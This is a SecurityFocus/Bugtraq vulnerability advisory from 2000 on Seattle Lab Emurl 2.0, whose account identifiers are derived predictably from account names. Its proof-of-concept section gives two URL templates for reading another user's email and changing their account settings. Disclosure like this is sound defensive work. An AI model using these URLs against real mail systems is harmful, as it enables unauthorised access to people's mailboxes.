Seattle Lab Emurl 2.0 Email Account Access Vulnerability

BID:1203

Info

Seattle Lab Emurl 2.0 Email Account Access Vulnerability

Bugtraq ID: 1203
Class: Access Validation Error
CVE:
Remote: Yes
Local: Yes
Published: May 15 2000 12:00AM
Updated: May 15 2000 12:00AM
Credit: Posted to Bugtraq on May 15, 2000 by Pierre Benoit <[email protected]>.
Vulnerable: Seattle Lab Software Emurl 2.0
- Microsoft Windows NT 4.0
Not Vulnerable:

Discussion

Seattle Lab Emurl 2.0 Email Account Access Vulnerability

Emurl software creates a unique identifier for each user, based on their account name. This identifier is encoded using the ascii value of each character in the account name and augmented by its position. By using a specific URL along with a user's identifier, it is possible to retreive that users e-mail as well as view and change their account settings.

Exploit / POC

Seattle Lab Emurl 2.0 Email Account Access Vulnerability

To read email:
http://target/scripts/emurl/RECMAN.dll?TYPE=RECIEVEMAIL&USER=<identifier>

To view/modify account settings:
http://target/scripts/emurl/MAKEHTML_M.dll?TYPE=USER&USER=<identifier>

Solution / Fix

Seattle Lab Emurl 2.0 Email Account Access Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Seattle Lab is aware of the issue and will address it in their next version of Emurl.

References

Seattle Lab Emurl 2.0 Email Account Access Vulnerability

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